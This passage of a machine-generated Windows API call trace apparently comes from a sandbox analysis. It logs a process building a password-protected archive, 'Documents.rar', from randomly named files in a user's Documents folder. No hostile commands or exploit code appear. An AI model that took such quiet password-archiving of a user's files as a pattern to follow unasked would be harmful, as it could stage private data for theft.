lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0082.709] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.709] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0xcbe76 [0082.709] SetFilePointer (in: hFile=0x32c, lDistanceToMove=138, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0xcbf00 [0082.709] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0082.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0082.709] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0082.709] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0082.709] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0082.709] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0xca90, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0xca90, lpOverlapped=0x0) returned 1 [0082.710] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0082.710] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.710] SetFilePointer (in: hFile=0x32c, lDistanceToMove=835190, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0xcbe76 [0082.710] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0xcbe76 [0082.710] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079d40 [0082.710] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f20 [0082.710] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079f20, Size=0x48) returned 0x1162e888ea0 [0082.710] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86dd70 [0082.710] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079c20 [0082.711] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079c20, Size=0x48) returned 0x1162e888810 [0082.711] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86dd70 | out: hHeap=0x1162e7c0000) returned 1 [0082.711] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0082.711] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079c20 [0082.711] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a0a0 [0082.711] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163207a0a0 | out: hHeap=0x1162e7c0000) returned 1 [0082.711] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079c20 | out: hHeap=0x1162e7c0000) returned 1 [0082.711] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079d40, Size=0x50) returned 0x1163204d460 [0082.711] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163204d460, Size=0x8c) returned 0x1162e87d150 [0082.711] WriteFile (in: hFile=0x32c, lpBuffer=0x1162e87d152*, nNumberOfBytesToWrite=0x8a, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1162e87d152*, lpNumberOfBytesWritten=0x141a0d82c0*=0x8a, lpOverlapped=0x0) returned 1 [0082.711] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079b30 [0082.711] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x8a) returned 0x1162e87d3d0 [0082.711] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888810 | out: hHeap=0x1162e7c0000) returned 1 [0082.711] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e87d150 | out: hHeap=0x1162e7c0000) returned 1 [0082.711] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0xd8990 [0082.711] CloseHandle (hObject=0x350) returned 1 [0082.711] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.711] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.711] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0082.711] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.711] FindFirstFileW (in: lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\XiqWm6izl6v FQ5Q.doc", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d460 [0082.711] FindClose (in: hFindFile=0x1163204d460 | out: hFindFile=0x1163204d460) returned 1 [0082.711] CreateFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\XiqWm6izl6v FQ5Q.doc" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\5hld-s\\xiqwm6izl6v fq5q.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0082.712] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0082.712] GetTickCount () returned 0x2a7b0 [0082.712] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0082.712] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0082.712] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0082.712] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0082.712] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="XGIfB05FTyHqB.xlsx") returned 18 [0082.712] SetWindowTextW (hWnd=0x10300, lpString="XiqWm6izl6v FQ5Q.doc") returned 1 [0082.712] GetTickCount () returned 0x2a7b0 [0082.712] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0082.712] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a74a0) returned 1 [0082.713] CryptGenRandom (in: hProv=0x116320a74a0, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0082.713] CryptReleaseContext (hProv=0x116320a74a0, dwFlags=0x0) returned 1 [0082.713] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xe, wSecond=0x0, wMilliseconds=0xc2)) [0082.713] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0082.713] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17404148748) returned 1 [0082.713] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0x2bd9, lpOverlapped=0x0) returned 1 [0082.715] ReadFile (in: hFile=0x350, lpBuffer=0x11631b90c19, nNumberOfBytesToRead=0xfd427, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b90c19*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0082.715] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x116320799e0 [0082.715] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a040 [0082.715] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163207a040, Size=0x48) returned 0x1162e888680 [0082.715] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d8f0 [0082.715] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079ce0 [0082.715] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079ce0, Size=0x48) returned 0x1162e888ea0 [0082.716] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d8f0 | out: hHeap=0x1162e7c0000) returned 1 [0082.716] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888680 | out: hHeap=0x1162e7c0000) returned 1 [0082.716] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f20 [0082.716] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e30 [0082.716] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079e30 | out: hHeap=0x1162e7c0000) returned 1 [0082.716] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079f20 | out: hHeap=0x1162e7c0000) returned 1 [0082.716] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x116320799e0, Size=0x52) returned 0x1163204d460 [0082.716] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163204d460, Size=0x8e) returned 0x1162e87d150 [0082.716] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0082.716] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e87d150 | out: hHeap=0x1162e7c0000) returned 1 [0082.717] GetTickCount () returned 0x2a7bf [0082.717] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17404593969) returned 1 [0082.717] GetTickCount () returned 0x2a7bf [0082.717] GetTickCount () returned 0x2a7bf [0082.717] GetTickCount () returned 0x2a7bf [0082.717] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.717] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.717] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.718] ResetEvent (hEvent=0x344) returned 1 [0082.718] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.718] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.718] ResetEvent (hEvent=0x344) returned 1 [0082.719] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.719] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.719] GetTickCount () returned 0x2a7bf [0082.719] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17404814499) returned 1 [0082.720] GetTickCount () returned 0x2a7bf [0082.720] GetTickCount () returned 0x2a7bf [0082.720] GetTickCount () returned 0x2a7bf [0082.720] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0082.720] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0082.720] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.720] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0082.720] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.720] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0xd8990 [0082.720] SetFilePointer (in: hFile=0x32c, lDistanceToMove=140, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0xd8a1c [0082.720] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0082.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0082.720] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0082.720] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0082.720] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0082.721] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0x2bf0, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0x2bf0, lpOverlapped=0x0) returned 1 [0082.721] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0082.721] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.721] SetFilePointer (in: hFile=0x32c, lDistanceToMove=887184, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0xd8990 [0082.721] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0xd8990 [0082.721] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079ce0 [0082.721] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079c20 [0082.721] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079c20, Size=0x48) returned 0x1162e888ea0 [0082.721] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d7b0 [0082.721] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079d40 [0082.721] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079d40, Size=0x48) returned 0x1162e888900 [0082.721] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d7b0 | out: hHeap=0x1162e7c0000) returned 1 [0082.721] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0082.721] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x116320799e0 [0082.721] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079980 [0082.721] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079980 | out: hHeap=0x1162e7c0000) returned 1 [0082.721] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x116320799e0 | out: hHeap=0x1162e7c0000) returned 1 [0082.721] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079ce0, Size=0x52) returned 0x1163204d7c0 [0082.721] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163204d7c0, Size=0x8e) returned 0x1162e87d150 [0082.721] WriteFile (in: hFile=0x32c, lpBuffer=0x1162e87d152*, nNumberOfBytesToWrite=0x8c, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1162e87d152*, lpNumberOfBytesWritten=0x141a0d82c0*=0x8c, lpOverlapped=0x0) returned 1 [0082.721] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a040 [0082.722] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x8c) returned 0x1163209bb40 [0082.722] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888900 | out: hHeap=0x1162e7c0000) returned 1 [0082.722] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e87d150 | out: hHeap=0x1162e7c0000) returned 1 [0082.722] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0xdb60c [0082.722] CloseHandle (hObject=0x350) returned 1 [0082.722] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.722] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.722] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0082.722] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.722] FindFirstFileW (in: lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\XXRZ1Ntz_m owLhUomX.rtf", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d7c0 [0082.722] FindClose (in: hFindFile=0x1163204d7c0 | out: hFindFile=0x1163204d7c0) returned 1 [0082.722] CreateFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\XXRZ1Ntz_m owLhUomX.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\5hld-s\\xxrz1ntz_m owlhuomx.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0082.722] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0082.722] GetTickCount () returned 0x2a7bf [0082.722] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0082.722] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0082.722] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0082.722] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0082.722] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="XiqWm6izl6v FQ5Q.doc") returned 20 [0082.722] SetWindowTextW (hWnd=0x10300, lpString="XXRZ1Ntz_m owLhUomX.rtf") returned 1 [0082.723] GetTickCount () returned 0x2a7bf [0082.723] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0082.723] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a74a0) returned 1 [0082.723] CryptGenRandom (in: hProv=0x116320a74a0, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0082.723] CryptReleaseContext (hProv=0x116320a74a0, dwFlags=0x0) returned 1 [0082.724] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xe, wSecond=0x0, wMilliseconds=0xd2)) [0082.724] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0082.724] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17405223615) returned 1 [0082.724] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0x12bf5, lpOverlapped=0x0) returned 1 [0082.725] ReadFile (in: hFile=0x350, lpBuffer=0x11631ba0c35, nNumberOfBytesToRead=0xed40b, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631ba0c35*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0082.725] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.725] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.725] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079a10 [0082.725] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079980 [0082.725] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079980, Size=0x48) returned 0x1162e888ea0 [0082.725] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0082.725] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a070 [0082.725] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163207a070, Size=0x48) returned 0x1162e888900 [0082.725] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0082.725] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0082.725] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079c20 [0082.725] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079ce0 [0082.725] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079ce0 | out: hHeap=0x1162e7c0000) returned 1 [0082.725] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079c20 | out: hHeap=0x1162e7c0000) returned 1 [0082.725] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079a10, Size=0x55) returned 0x1163204d460 [0082.725] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163204d460, Size=0x91) returned 0x1163209b140 [0082.725] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888900 | out: hHeap=0x1162e7c0000) returned 1 [0082.725] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209b140 | out: hHeap=0x1162e7c0000) returned 1 [0082.726] GetTickCount () returned 0x2a7bf [0082.726] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17405442557) returned 1 [0082.726] GetTickCount () returned 0x2a7bf [0082.726] GetTickCount () returned 0x2a7bf [0082.726] GetTickCount () returned 0x2a7bf [0082.726] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.726] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.726] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.726] ResetEvent (hEvent=0x344) returned 1 [0082.726] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.734] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.734] ResetEvent (hEvent=0x344) returned 1 [0082.734] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.738] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.738] ResetEvent (hEvent=0x344) returned 1 [0082.738] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.740] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.740] GetTickCount () returned 0x2a7cf [0082.740] GetLastError () returned 0x0 [0082.740] SetLastError (dwErrCode=0x0) [0082.740] GetDlgItem (hDlg=0x102f8, nIDDlgItem=158) returned 0x10304 [0082.740] GetDlgItem (hDlg=0x102f8, nIDDlgItem=153) returned 0x10302 [0082.740] GetWindowTextW (in: hWnd=0x10302, lpString=0x141a0dbe80, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0082.740] SendMessageW (hWnd=0x10304, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0082.741] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17406977159) returned 1 [0082.741] GetTickCount () returned 0x2a7cf [0082.741] GetTickCount () returned 0x2a7cf [0082.741] GetTickCount () returned 0x2a7cf [0082.741] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 